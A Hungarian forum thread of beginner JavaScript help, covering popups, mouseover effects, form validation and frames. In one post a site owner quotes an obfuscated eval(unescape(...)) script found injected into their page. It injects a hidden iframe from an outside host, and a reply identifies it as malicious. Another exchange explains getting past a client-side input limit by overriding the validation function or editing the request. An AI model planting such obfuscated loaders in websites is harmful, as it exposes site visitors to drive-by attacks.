- D1Rect: Nagy "hülyétkapokazapróktól" topik
- gban: Ingyen kellene, de tegnapra
- Luck Dragon: Asszociációs játék. :)
- Gurulunk, WAZE?!
- Nyuszit otthonra, kedvencnek!
- sziku69: Fűzzük össze a szavakat :)
- sziku69: Szólánc.
- Luck Dragon: MárkaLánc
- MasterDeeJay: Low budget (50.000 forint) light gémer gép összerakása
- Mr Dini: Mindent a StreamSharkról!
-
Fórumok
LOGOUT - lépj ki, lépj be!
LOGOUT reakciók Monologoszféra FototrendGAMEPOD - játék fórumok
PC játékok Konzol játékok MobiljátékokPROHARDVER! - hardver fórumok
Notebookok TV & Audió Digitális fényképezés Alaplapok, chipsetek, memóriák Processzorok, tuning Hűtés, házak, tápok, modding Videokártyák Monitorok Adattárolás Multimédia, életmód, 3D nyomtatás Nyomtatók, szkennerek Tabletek, E-bookok PC, mini PC, barebone, szerver Beviteli eszközök Egyéb hardverek PROHARDVER! BlogokMobilarena - mobil fórumok
Okostelefonok Mobiltelefonok Okosórák Autó+mobil Üzlet és Szolgáltatások Mobilalkalmazások Tartozékok, egyebek Mobilarena blogokIT café - infotech fórumok
Infotech Hálózat, szolgáltatók OS, alkalmazások SzoftverfejlesztésFÁRADT GŐZ - közösségi tér szinte bármiről
Tudomány, oktatás Sport, életmód, utazás, egészség Kultúra, művészet, média Gazdaság, jog Technika, hobbi, otthon Társadalom, közélet Egyéb Lokál PROHARDVER! interaktív
-
Frissítve: 2014-02-25 10:20 Téma összefoglaló
JavaScript != Java (A JavaScript nem összekeverendő a Javával, két különböző programozási nyelvről van szó!)
Új hozzászólás Aktív témák
-
#57018880
törölt tag
A weblap intraneten van, sajnos a forrás fájlt nem tudom módosítani. Ha a helyi gépen megtudok szabadulni ettől az értéktől, akkor szerintem sikeresen menne tovább az érték a szerver felé. Ha minden JavaScript-et letiltok, akkor persze meg nem megy semmi (NoScript). Ezért kellene átírni "on-the-fly" a kódot, szerintem.

Legfeljebb a saját cache fájlodat írhatod át, vagy ilyesmi bővítménnyel. Amit javasoltam fentebb még talán járható út, de ha a szerver korlátozza a 100 feletti értékeket (a normálisan megírt program ott fog korlátozni) akkor meg mind1..
-
martonx
veterán
De ember, ne Code Inspectorban írd már át a kódot, mert az persze, hogy nem mentődik el

Keresd meg a forrás file-t és ott írd át
Egyébként meg ezt az egész js-ben validálósdit illene elfelejteni, és helyette egy html5-ös number típusú input-tal megoldani, és annak a paramétereinél megadni, hogy mi lehet a legnagyobb érték.<input type="number" min="0" max="100">
-
#57018880
törölt tag
Üdv!
Van egy pici kódrészlet a weblapon (JavaScript) ami megakadályozza, hogy 100-nál nagyobb számot lehessen beírni.
function validateqsi_form1() {
var form = document.forms['qsi_form1'];
if( typeof(xspCheckEmpty)=='undefined' ) {return true;}
if(!xspCheckInteger(form.elements['X1_X1_qsi_form1_qsi_td_content_well_qsi_input_view_rows'],false,null,4,100,null)) return false;
return true;
}Ennél a résznél, hogyan tudom véglegesen a 100-at nagyobb értékre változtatni firefox alatt, hogy újratöltés után is fusson? A sima Codeinspector-al ha átírom, újratöltöm nem marad meg. (sajnos ez a weblap helyi webszerveren fut.
A kód kiértékelése valami ilyesmi:function xspCheckInteger(element,req,reqmsg,min,max,msg) {
var val = xspTrim(element.value);
if( val==null || val=="" ) {
if( req ) {
alert( reqmsg!=null ? reqmsg : ("Field cannot be empty") );
element.focus();
return false;
}
return true;
}
if( xspIsInteger(val) ) {
intVal = parseInt(val);
if( min!=null && max!=null ) {
if( intVal<min || intVal>max ) {
alert( msg!=null ? msg : ("The input should be an integer number between "+min+" and "+max) );
element.focus();
return false;
}
return true;
}
if( min!=null ) {
if( intVal<min ) {
alert( msg!=null ? msg : ("The input should be an integer number greater than or equal to "+min) );
element.focus();
return false;
}
return true;
}
if( max!=null ) {
if( intVal>max ) {
alert( msg!=null ? msg : ("The input should be an integer number less than or equal to "+max) );
element.focus();
return false;
}
return true;
}
return true;
} else {
alert( (msg!=null) ? msg : "The input should be an integer number" );
element.focus();
return false;
}
}Ha csak az a lényeg, hogy más oldalára nagyobb értéket küldj akkor módosítsd a HTTP kérést. Gondolom van rá valami böngésző extension, ha nem akarod mindig inspektor/devtoolsal csinalni.
-
sztanozs
veterán
Üdv!
Van egy pici kódrészlet a weblapon (JavaScript) ami megakadályozza, hogy 100-nál nagyobb számot lehessen beírni.
function validateqsi_form1() {
var form = document.forms['qsi_form1'];
if( typeof(xspCheckEmpty)=='undefined' ) {return true;}
if(!xspCheckInteger(form.elements['X1_X1_qsi_form1_qsi_td_content_well_qsi_input_view_rows'],false,null,4,100,null)) return false;
return true;
}Ennél a résznél, hogyan tudom véglegesen a 100-at nagyobb értékre változtatni firefox alatt, hogy újratöltés után is fusson? A sima Codeinspector-al ha átírom, újratöltöm nem marad meg. (sajnos ez a weblap helyi webszerveren fut.
A kód kiértékelése valami ilyesmi:function xspCheckInteger(element,req,reqmsg,min,max,msg) {
var val = xspTrim(element.value);
if( val==null || val=="" ) {
if( req ) {
alert( reqmsg!=null ? reqmsg : ("Field cannot be empty") );
element.focus();
return false;
}
return true;
}
if( xspIsInteger(val) ) {
intVal = parseInt(val);
if( min!=null && max!=null ) {
if( intVal<min || intVal>max ) {
alert( msg!=null ? msg : ("The input should be an integer number between "+min+" and "+max) );
element.focus();
return false;
}
return true;
}
if( min!=null ) {
if( intVal<min ) {
alert( msg!=null ? msg : ("The input should be an integer number greater than or equal to "+min) );
element.focus();
return false;
}
return true;
}
if( max!=null ) {
if( intVal>max ) {
alert( msg!=null ? msg : ("The input should be an integer number less than or equal to "+max) );
element.focus();
return false;
}
return true;
}
return true;
} else {
alert( (msg!=null) ? msg : "The input should be an integer number" );
element.focus();
return false;
}
}Átírod a 100-at nagyobbra. Ha máshonnan tölti be az oldal a JS-t és a forrást nem tudod szerkeszteni, akkor sok mindent nem tudsz csinálni.
Esetleg ha tudsz JS-et beszúrni az oldalba, akkor úgy felül tudod definiálni avalidateqsi_form1()függvényt és oda beírod a saját értékedet. -
jeges
senior tag
amennyire én tudom, az ie saját beállításain túl az oprdsz jogosultsági beállításai számítanak. azaz hiába írnál egy fájlt böngészőből, ha a win szerint nincs hozzá jogod. ie6-ban alapvetően az activex vezérlőket kell engedélyezni.
-
jeges
senior tag
Üdv!
Lehet olyan scriptet írni, amely egy input mezőből a szöveget hozzáfűzi egy meglévő fájlhoz? Mindez persze a sajátgépen lenne futtatva, nem szerveren vagy hasonló. IE6 alatt, más alá nem kell, hogy kompatibilis legyen. Amit eddig találtam a neten, azok vagy nem mentek, vagy bajuk volt. Lehetőleg ne keljen állandóan megerősíteni az írást.

igen, lehet, de a működése a böngésző, valamint a windows beállításaitól függ, nem pedig a programtól. ugyanez vonatkozik a megerősítésre is.
-
emitter
őstag
hát jó, végülis igaz.. először azért akartam külön fv-t hívni, mert a tooltipet is js-sel akartam megoldani (úgy már túl sokat kellett volna az onMouseOver-be írni), de aztán rájöttem, h ugyanezt tudja a title attribútum is..
köszi -
t-shirt
veterán
Én a php5-öt olvastam tőlük, bevallom az első gondolatom nekem is ez a sorozat volt, de ami a kezembe került tőlük az egy régebbi kiadása volt a js-nek, és nem tudtam/gondoltam hogy van újabb is.
-
Zsu_
senior tag
"NO! JavaScript can't email a form! but, there are alternatives to send the form data to an email address." [...]
Igen, köszi ezt én is tudom.
Szóval tud valaki arra választ adni, hogy 1 darab változóban eltárolt értéket hogyan tudok elküldeni emailben? Javascript vagy JSP vagy html megoldás kellene. (nem PHP!)
Fontos lenne, előre is köszi a segítséget!
-
kisszepi
csendes tag
Köszi szépen, hogy megpróbáltál segíteni, de sikerült megoldanom, csak egyszer végig kellett volna értelmezni tüzetesen a kódot....
-
kisszepi
csendes tag
a .js fájl ennyit tartalmaz, azt hittem ennyi elég lesz, tartozik még hozzá CSS fájl, de azzal boldogulok, meg két PHP/menulib.php, meg egy ____.class.php/ ha kell hozzá feltöltöm és küldök linket, csak abban reménykedtem, hogy ennyiből össze lehet hozni, bár mint mondtam semmit nem értek a javascript-ből.
köszi!
u.i.: ez egy joomla menü -
tildy
nagyúr
LLejárati dátumot kellett volna megváltoztatni, hogy akik még az egy heteset szedték le azoknak 1 napossá váljon.
D emegoldottam: Másik cookiet teszek le , és azt vizsgálom![;]](//cdn.rios.hu/dl/s/v1.gif)
-
Lortech
addikt
Ez mi a csoda lehetett a honlapomon? Én úgy tudom, hogy nem én helyeztem ezt el benne
De akkor mi ez?<Script>
<!--
var d=document;
eval( unescape( "%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%5f%63%6f%6e%74%65%6e%74%28%29%7b%20%76%61%72%20%69%20%3d%20%30%3b%77%68%69%6c%65%28%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%69%66%72%61%6d%65%27%29%2e%6c%65%6e%67%74%68%29%7b%76%61%72%20%65%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%69%66%72%61%6d%65%27%29%5b%69%5d%3b%69%66%28%20%28%65%6c%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%3d%3d%27%6e%6f%6e%65%27%20%7c%7c%20%65%6c%2e%73%74%79%6c%65%2e%76%69%73%69%62%69%6c%69%74%79%20%3d%3d%27%68%69%64%64%65%6e%27%20%7c%7c%20%28%65%6c%2e%77%69%64%74%68%3c%35%20&&%20%65%6c%2e%68%65%69%67%68%74%3c%35%29%29%20&&%20%65%6c%2e%6e%61%6d%65%21%3d%27%63%31%27%20%29%20%7b%65%6c%2e%70%61%72%65%6e%74%4e%6f%64%65%2e%72%65%6d%6f%76%65%43%68%69%6c%64%28%65%6c%29%3b%7d%20%65%6c%73%65%20%69%2b%2b%3b%7d%7d%63%68%65%63%6b%5f%63%6f%6e%74%65%6e%74%28%29%3b%0d%0a%69%66%20%28%21%6d%79%69%61%29%20%7b%20%64%2e%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d%65%3d%63%31%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%6d%79%2d%70%61%67%65%2d%64%65%2e%69%6e%66%6f%2f%69%6e%2e%63%67%69%3f%32&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%37%34%37%33%30%29%2b%27%65%64%31%5c%27%20%77%69%64%74%68%3d%35%30%35%20%68%65%69%67%68%74%3d%33%34%36%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d%45%20%3e%27%29%3b%7d%76%61%72%20%6d%79%69%61%3d%74%72%75%65%3b" )); var c1439772935;
//-->
</Script>Ez egy rosszindulató próbálkozás.
Az a bekódolt szöveg egy javascript függvény, amit először kikódol, majd az eval-lal végrehajtja. iframe megoldással közben kapcsolatot létesít egy másik oldallal, nem teljesen világos, hogy miért, már halottak a linkek.
-
vancha2
aktív tag
Úgy sem működött, de rájöttem a megoldásra:
<div style="background-color:#00FF00" onmouseover="this.style.backgroundColor='#FF0000'" onmouseout="this.style.backgroundColor='#00FF00'">szöveg</div>
-
Darkness
aktív tag
<script type="text/javascript" language="JavaScript">alert("<?php
$sor = file( "szoveg.txt" ); // file sorainak beolvasása egy tömb változóba
$szam = mt_rand( 0, count( $sor ) - 1 ); // sor szamanak kivalasztasa a tömbből
echo $sor[$szam]; // kivalasztott sor kiirasa
?>");</script>csakmeglett. persze máshogy is kilehet még küldeni, nemcsak alert-el.
nalad a pont. :-)
vegen nekiestem es megirtam PHPban. igaz, nem felugro ablak lett belolle, de igy meg jobb is.
koszonom mindenkinek a segitseget.
-
kalló
aktív tag
rakd bele még akkor ezt:
Z-INDEX: 2; ezekkel tudod beállítani. hogy melyik legyen felül vagy alul.
ha tudsz mondani egy címet akor meg is nézem.
flash biztos jobb, bár én annyira nemhasználtam, nem is tudom a szintaktikát, ha volt valami, akkor mindig haver csinálta meg nekem, ö értett hozzá valamellyest.
valószínűleg elég sok minden kell majd nekedahhoz, hogyha flashban akarod megcsinálni, de szerintem biztos fognak majd segíteni benne ha azt választod. Erre ezt az oldalt tudom ajánlani: swf.hu itt elég sokat foglalkoznak a flashel.
köszi mindent végül css stripes-el megoldotta a haver
sajnos még nincs feltöltve pedig szerintem teljesen jó -
kalló
aktív tag
bocsi de a mod-ról lemaradtam
még1szer köszi mindent!
csak ezzel a pozicionállásal akadnak problémáim <div style="position:absolute; left:100px; top:100px;"> mert ie-ben elcsúsznak a koordináták
illetve ha sok képet pakolok fel meg se jeleníti
)
Egy térképet akarok csinálni eúrópáról úgy hogy ha az úniós tagországokra viszed az egeret az addot tagállamnak a határait kiemelem más színnel!az eddigi segítségeidnek hála ez meg is van de sajnos csak a mozzila szereti az oldalam
azt hallotam flash-el jobban járnék, szerinted is flash-ben kéne próbálkozzak?(flash-ben sem vagyok profi de elég gyorsan tanulok
) -
kalló
aktív tag
<img src="a.gif" alt="A kép" name="kep1">
<img src="b.gif" alt="B kép" onMouseOver="kep1.src='c.gif'" onMouseOut="kep1.src='a.gif'">ezekkel eltudsz játszani. félig értem csak, hogy mit szeretnél, de ezzel megfogod tudni csinálni szerintem, ha nemtudsz valamit kérdezz
működés közben: [link] jobb felső sarokban, a ghost kép, és a melletelévő zöld vacak. mind1 melyikre viszed a kurzort, a zöld animálva lesz.

-
kalló
aktív tag
-
vancha2
aktív tag
Mármint azt szeretnéd, hogy a kisebb téglalap akkora legyen, mint a nagyobb? Adj a kissebnek is egy magasságot. Nekem így működött:
<html>
<head>
<title>bekérés</title>
<script>
function meret() {
var masik = document.getElementById(''masik'').style.height;
document.getElementById(''egyik'').style.height = masik;
}
</script>
</head>
<body>
<div id=''egyik'' style=''border: black solid 1px; float:left; height:20px;''>as</div>
<div id=''masik'' style=''border: black solid 1px;float:left; height:250px;''>wqay<br></div>
<input type=''button'' onclick=''meret()'' value=''Átméretezés'' />
</body>
</html>
A gombot csak a példa kedvéért használtam...
[Szerkesztve] -
vancha2
aktív tag
-
Benmartin
senior tag
<form name='''' action='''' method='''' onSubmit=''return checkform(this);''>
function checkform (eform) {
if (eform.input_neve.value == '''' || eform.input_neve.value == '''') {
alert( ''Ne hagyj üresen semmit!'' );
return false;
}
return true;
}
kb így.
[Szerkesztve] -
shev7
veterán
mondtam, hogy a hide fuggvenyek is adj parametert (ugyanugy ahogy a show-nak), hogy tudja, melyik div-et kell eltuntetnie. Nem a js ver teged
a problemad az, hogy nem ugy tunik, mintha ertenel a programozashoz, talan erdemes lenne az alapokkal (pl hogyan mukodik a fuggvenyhivas) megismerkedni. Amig az nincs meg, csak szenvedni fogsz.
[link][link]
amig nem baratkozol meg a js-sel jobb ha iframe-t hasznlasz. Bar a problemadra is van a neten jopar megoldas, csak keresni kell
kiprobalok egyet, majd linkelem. -
shev7
veterán
ezt átlehet úgy alakítani, hogy ha linket adok meg neki, akkor a link tartalmát tegye be?
<a href=''#'' onclick=''document.getElementById('oda').innerText='ezt fogja berakni ahelyett a szöveg helyett, ha üresen hagyod akkor nemrak be semmit'''>Erre kell kattintani</a>
<div id=''oda''>És ezt fogja lecserélni.</div>marmint arra gondolsz, hogy megadsz neki egy linket, es a divben az szeretned latni, hogy mi van azon linken? Akkor inkabb iframe-et kene hasznalnod...
-
shev7
veterán
nem sokat programoztal korabban ugye?

egyreszt a hide fv nem kaptt parametereket, igy semmi nem fog eltunni. Masreszt a showban (meg persze majd a hideban is) a parameter nevet nem kell idezojelbe tenni, mert ugy nem fog mukodni...
Tehat: eval('document.getElementById(idToShow)') kell eval('document.getElementById(''idToShow'')') helyett... (meg ertelemszeruen a masik ket helyen is) -
shev7
veterán
a cucc amit nezel ugy mukodik, hogy show hivasnal megjeleniti az overlay-t (ettol lesz az a halvany rozsaszines beutese a honlapnak, es ez nem engedi, hogy mashova klikkelj...) illetve megjeleniti az info_box id-ju div-et, ugyanez forditva a hide-ra.
Ha ezt: function show() lecsereled erre: function show(idToShow) es a fuggveny torzseben az ''info_box''-ot lecsereled idToShow-ra akkor utana mar azt fogja csinalni amit szeretnel.
show(''info_box1'') az info_box1 id-ju div-et fogja neked kitenni... persze a hide fven is meg kell tenni ugyanezeket az atalakitasokat. -
tzs84
tag
-
shev7
veterán
ha jol ertem tobb kulonbozo divet szeretnel amik attol fuggoen jelennek meg, hogy melyik gombot nyomtad meg? Egyszeruen a fv-t kell ugy modositani, hogy nem fixen egy div-et jelenti meg/rejt el, hanem a parameterul kapott id alapjan csinalja...
-
vancha2
aktív tag
-
shev7
veterán
dejó
már csak valahogy az elküldését kell majd megoldani, sajna nemértek a js-hez
még
öö, #908, shev7 valami olyasmit szeretnék csinálni, hogy amikor pötyögöm be az input mezöbe az adatokat meg mindent, akkor mindig elküldje egy framének az input tartalmát. Ez lenne az alap, de ha lehetne olyat, hogy mondjuk egy olyan checkbox-al belehetne állítani, hogy éppen kikapcsolva legyen az input mezö adat küldözgetés vagy éppen nem. Ez inkább csak hab a sprében, de nem kötelezö bele. A feldolgozás megvan meg minden, már csak ez a js kéne és kész is van
És köszönöm a segítséget
[Szerkesztve]hat ha az elkuldes alatt a form postolasat erted, akkor submit();
-
TIV
tag
Üdv. hogyan lehet megcsinálni azt, hogyha bevan pipálva egy olyan kis doboz, akkor nézze azt, hogyha én lenyomok egy billentyüt az inpu mezöben, akkor azt elküldje azonnal, ha megint lenyomok ott egy billt, akkor megint küldje el. van valami ilyesmi fügvény rá (onkeydown talán?) de nembizti. a segytséget köszönöm!
igen onkeydown, csak az a baj, az az utoljára lenyomott betűt nem fogja felismeri. vagy én vók alma?

<script type=''text/javascript''>
function riado(e){
alert(e);
}
</script>
<form>
<input type=''text'' name=''bemenet'' onkeydown=''riado(this.form.bemenet.value)'' />
</form>
[Szerkesztve] -
shev7
veterán
Üdv. hogyan lehet megcsinálni azt, hogyha bevan pipálva egy olyan kis doboz, akkor nézze azt, hogyha én lenyomok egy billentyüt az inpu mezöben, akkor azt elküldje azonnal, ha megint lenyomok ott egy billt, akkor megint küldje el. van valami ilyesmi fügvény rá (onkeydown talán?) de nembizti. a segytséget köszönöm!
a kerdes mire iranyul? azt nem tudod, hogy hogyan vizsgalod, hogy be van-e checkolva a checkbox, vagy hogy hogyan kel elkuldeni?
-
szicsu
őstag
-
sonar
addikt
-
vancha2
aktív tag
Ilyenek például az oprendszer gombjai. Neten ritka de láttam már ilyet. Az első kép az alap állapot, amit akkor tölt be ha nincs rajta a kurzor. Amikor rajta van a kurzor betölti a második képet (a neten szinte mindig ez van). A harmadik kép akkor jön, ha rákattintunk a gombra.
-
vancha2
aktív tag
nem te vagy az elsö, és szerintem nem te leszel az urlsó aki ezt megkérdi. tökéletes megoldást még én sem halottam de egy frame segítségével eltudod érni a kívánt hatást. a fő oldaladba beteszel aegy framét, és abba a framéba töltödik be továbbra az oldalad. és ha jól állítpd be, a felhasználó észre sem fogja venni h framében van.

[Szerkesztve]Hogy ez miért nem jutott ezsembe?

Köszi!
-
amargo
addikt
-
Hujikolp
őstag
Szép napot mindenkinek

Lenne egy kérdésem:
itt van ez a kis script:
<SCRIPT LANGUAGE='JAVASCRIPT' TYPE='TEXT/JAVASCRIPT'>
function nyit(url,l,t,o,e)
{
ablak1=window.open(url,''ablak'',''left=''+l+'',top=''+t+'',width=''+o+'',height=''+e+'',status=yes, menubar=no,scrollbars=no,resizable=no,directories=no,toolbar=no'',''top frames'');
ablak1.focus()
return true;
}
</script>
és ami megnyitja:
<a href=''javascript:void(nyit('link.html',100,25,840,640));''>
nomármost, és azt is szeretném elérni h a végére a linknek beszurni rgy változot, és ha ez a változónak a linkben adok egy értéket akkor az legyen az értéke, de ha kihagyom a linkböl azt az értéket akkor is müködjön, alapértelmezésben.
azt szeretném h van olyan popup-om ami elég nagyba nyilik meg, és ugyebár az van most neki beállítva h nem lehet scrollozni. viszont én azt szeretném h ha a link végére bigyesztek még valamit akkor tudjam állítani h most scrollozható legyen, de ha nincs a linkben akkor persze ne legyen.
azért remélem lehet érteni és tud nekem valamit segíteni.Egyik barátommal sikerült megcsinálni, mostmár nemaktuális, akit érdekel az szoljon.
-
peterszky
őstag
-
sentinel
aktív tag
Beleírtam a html-be. Minden jó volt ma reggelig, amikor is az utolsó módosítás dátuma 2006/09/25-re változott, holott a szerveren is ez a dátum még 24-e a fileoknak és ha a saját gépemen futtatom, akkor is jó(24-ei).
Egyedül a neten szórakozik és nem éretem miért?
Valaki tudna tanácsot adni?
Köszi -
sentinel
aktív tag
-
szicsu
őstag
-
Hujikolp
őstag
találtam ilyet de ez is szarakszik:
headban:
<SCRIPT LANGUAGE='JAVASCRIPT' TYPE='TEXT/JAVASCRIPT'>
<!--
var popupWindow=null;
function popup(mypage,myname,w,h,pos,infocus)
{
if (pos == 'random')
{
LeftPosition=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;
TopPosition=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;
}
else
{
LeftPosition=(screen.width)?(screen.width-w)/2:100;
TopPosition=(screen.height)?(screen.height-h)/2:100;
}
settings='width='+ w + ',height='+ h + ',top=' + TopPosition + ',left=' + LeftPosition + ',scrollbars=no,location=no,directories=no,status=yes,menubar=yes,toolbar=no,resizable=no';
popupWindow=window.open('',myname,settings);
if(infocus=='front')
{
popupWindow.focus();
popupWindow.location=mypage;
}
if(infocus=='back')
{
popupWindow.blur();
popupWindow.location=mypage;
popupWindow.blur();
}
}
// -->
</script>
és hozzá a cucc ami nyitja:
<a href=''javascript:popup('popup.php?tipus=game&mi=sc00','pagename','900','900','random','front');''>link</a>
namármost ennek 900 * 900 asban kéne megnyílnia, de azértsem akkorában nyitja meg a ja, de miért? ezzel izélok már több mint fél órája h mi a f nem megy... mindig megnyitja egy bizonyos mérettel meg dologgal és szarik rá h én milyen paramétert adtam meg neki.... -
Forest_roby
őstag
-
Forest_roby
őstag
remélem nemvalami extrém dolgot keresek
naszóval, én olyan scriptet keresek amit ha explorerrel nyitnak meg akkor semmit sem csinál. haviszont a firefox-al nyitom meg azt az oldalt akkor miir valami szöveget, pl alert üzenetben azt h firefoxal nézte meg. Deha operával nyitom meg akkor meg azt irja ki h operával nyitottam meg. ilyen scriptet összelehet dobni? sokat segítene nekem egy ilyen.<html>
<head>
<script type=''text/javascript''>
document.write(''You are browsing this site with: ''+ navigator.appName)
</script>
</head>
<body>
</body>
</html>
[Szerkesztve] -
polip
addikt
milyen lenyílós menüt akarsz? ami egy frémen belül működik? mer abban tudok segíteni...
-
polip
addikt
ha ez egyik szerverről viszed át a másikra, nézd meg h ne a teljes elérési út legyen megadva, (pl: http://hujikolp.uw.hu/js/timer/timer.js helyett csak ez legyen: js/timer/timer.js) mert különben a másik szerverre fog hivatkozni, és lehet h ezért nem megy, és lehet h a szerveren van .thaccess és ha ebben be van az állítva h külső linknek ne tudják elérnii, akkor tényleg nem fog működni a másik szerverre átvitt js. Remélem tudtam v.mit segíteni.

egy nyomi /-jelen múlt a dolog
-
shev7
veterán
én most ezt használom:
<script>
var tmp0=''neved'';
var tmp1=''e-mail címed'';
var tmp2=''üzeneted'';
</script>
<input ... onFocus=''if(this.value==this.defaultValue){this.value='';}'' onblur=''this.value=tmp1;''>
és a többi is igy csak tmp1 és 2-vel.
Namármost, ha én ebbe beleirok, és a következő mezőre kattintok, akkor amit a mezőbe beleirtam, az mind törlődik, és ami a tmp0,1,2-ben megvan adva az jön vissza.
Én viszont csak akkor szeretném h visszajöjjön ha a mezőbe nemirtak semmit.igy sztem azt csinalna amit szeretnel.
<script>
function f(o) {
if (o.value=='''') o.value=tmp0;
}
</script>
onblur=''f(this)'' -
Hujikolp
őstag
Valaki tudná ezt nekem értelmezni?
if(txtlogin.getText().trim().toUpperCase().intern() == inuser[2 * (i - 1) + 2].trim().toUpperCase().intern()
&& txtpass .getText().trim().toUpperCase().intern() == inuser[2 * (i - 1) + 3].trim().toUpperCase().intern())
ugyanaz:
if(txtlogin.getText().trim().toUpperCase().intern() == inuser[2 * (i - 1) + 2].trim().toUpperCase().intern()
&& txtpass .getText().trim().toUpperCase().intern() == inuser[2 * (i - 1) + 3].trim().toUpperCase().intern())megoldódótt!!, már nem fontos
-
Hujikolp
őstag
Nekem is vannak problémáim...

Remélem egyszerü kérdés és v.ki tud segíteni:
Van 1 oldalam. Abban van 2 db frame. Legfelül egy 1 px-es mert ebben van egy zenei swf. Alatta van a többi anyag a megmaradt részben egy másik frame-ban.
A fenti frame neve mondjuk zene.
A lenti frame legyen irányító.
Azt hogyan tudnám megcsinálni hogy az irányító frame-ből ha egy képre kattintok akkor ne abban a framéba állítsa be a zenét hanem egy másikba, jelen esetbe a zene nevübe. Eddig jutottam el:
<img alt=''Zene BE'' src=''fentimenu/zenebe.png'' onclick=''alert('Kérlek várj, a zene töltödik!'); document.all.hang.src='zeneneve.swf'''>
<img alt=''Zene KI'' src=''fentimenu/zeneki.png'' onclick=''document.all.zene.src=' '''>
<bgsound src=''#'' id=''hang'' loop=''10'' autostart=''true''>
Ez annyit tesz hogy lejátsza a filét és meg is állítja ha a másik képre kattintok.
Hogyan tudnék ugy hivatkozni h a zene a ''zene'' frame-a töltödjön be?Mostmár nem aktuális, ugyanis megsikerült máshogy megoldani a problémát

-
sonar
addikt
-
VladimirR
nagyúr
Ebben a scriptben hiba van. Én nem tudom hogy hol.
Remélem tudtok segíteni.
function setupDescriptions() {
var x = navigator.appVersion;
y = x.substring(0,4);
if (y>=4) setVariables();
}
var x,y,a,b;
function setVariables(){
if (navigator.appName == ''Netscape'') {
h=''.left='';
v=''.top='';
Ds=''document.'';
Sd='''';
}
else
{
h=''.pixelLeft='';
v=''.pixelTop='';
Ds='''';
Sd=''.style'';
}
}
var isNav = (navigator.appName.indexOf(''Netscape'') !=-1);
function popLayer(a){
desc = ''<table cellSpacing=0 cellPadding=2 border=1 bordercolor=#00ff00 bgcolor=#654196><tr><td><font style=\''font-weight: bold\'' color=#afa35c size=-1>'';
if (a==1) desc += ''Hírek'';
if (a==2) desc += ''Egységek, Hősők, Fegyverek, Képességek, Történetek'';
if (a==3) desc += ''Képek'';
if (a==4) desc += ''Kézimunkák'';
if (a==5) desc += ''A Ghostból videók'';
if (a==6) desc += ''Hátterek'';
if (a==7) desc += ''Gyakran Ismételt Kérdések'';
if (a==8) desc += ''Parnerek'';
if (a==9) desc += ''Fórum'';
if (a==10) desc += ''Hibabejelentő'';
desc += ''</font></td></tr></table>'';
if(isNav) {
document.object1.document.write(desc);
document.object1.document.close();
document.object1.left=x;
document.object1.top=y+10;
}
else {
object1.innerHTML=desc;
eval(Ds+''object1''+Sd+h+x);
eval(Ds+''object1''+Sd+v+(y+10));
}
}
function hideLayer(a){
if(isNav) {
eval(document.object1.top=a);
}
else object1.innerHTML='''';
}
function handlerMM(e){
x = (isNav) ? E.pageX : event.clientX;
y = (isNav) ? E.pageY : event.clientY;
}
if (isNav){
document.captureEvents(Event.MOUSEMOVE);
}
document.onmousemove = handlerMM;
Ez a script.
ezzel illesztem be:
<SCRIPT language=''JavaScript'' src=''js/altos.js''></SCRIPT>
és ezzel jelenítem meg:
<A onMouseOver=''popLayer(1)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''index.html''>Főoldal</A> |
<A onMouseOver=''popLayer(2)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/covertops.html''>Covert Ops</A> |
<A onMouseOver=''popLayer(3)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/kepek.html''>Képek</A> |
<A onMouseOver=''popLayer(4)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/kezimunka.html''>Kézimuka</A> |
<A onMouseOver=''popLayer(5)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/videok.html''>Videók</A> |
<A onMouseOver=''popLayer(6)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/hatterek.html''>Hátterek</A> |
<A onMouseOver=''popLayer(9)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/forum.html''>Fórum</A> |
<A onMouseOver=''popLayer(10)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/hiba.php''>Hibabejelentő</A> |
<A onMouseOver=''popLayer(7)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/faq.html''>GY.I.K.</A> |
<A onMouseOver=''popLayer(8)'' onMouseOut=''hideLayer(-50)'' class=''menu'' href=''ghost/press.html''>Partnerek</A>
És ez is kell hozzá:
<div id=''object1'' style=''position:absolute; visibility:show; left:20px; top:-50px; z-index:2''></div>
akkor ir ki hibát ha a kurzort ráviszem a linkre. Akkor kiirja a linknek a sorszámát és kész. kapcsolat nélküli módban, ugy hogy még nem töltöttem fel sehova, prímán működik. de a honlapomon nem pedig ugyanazvan fenn mint a gépemen. Böngészés közben nem jeleníti meg.function handlerMM(e){
x = (isNav) ? E.pageX : event.clientX;
y = (isNav) ? E.pageY : event.clientY;
}
a hiba ebben van, ugyanis a js case-sensitive (nagybetuerzekeny), es mig a fugveny altal kapott ertek az e valtozoba kerul, addig a fuggveny sorai E valtozora hivatkoznak, ami pedig nincs definialva -
Skylark
tag
Tehát nem azt a 17.0.0.1.-es ip-t hanem a valós ip címet szeretnéd kiiratni? Ha igen akkor tudok segíteni. PHP alapon.
<?php
if($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'] != ''){
$ip = $HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'];
}
else{
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR']; }
echo $ip;
?>
Ha nem megy szolj.
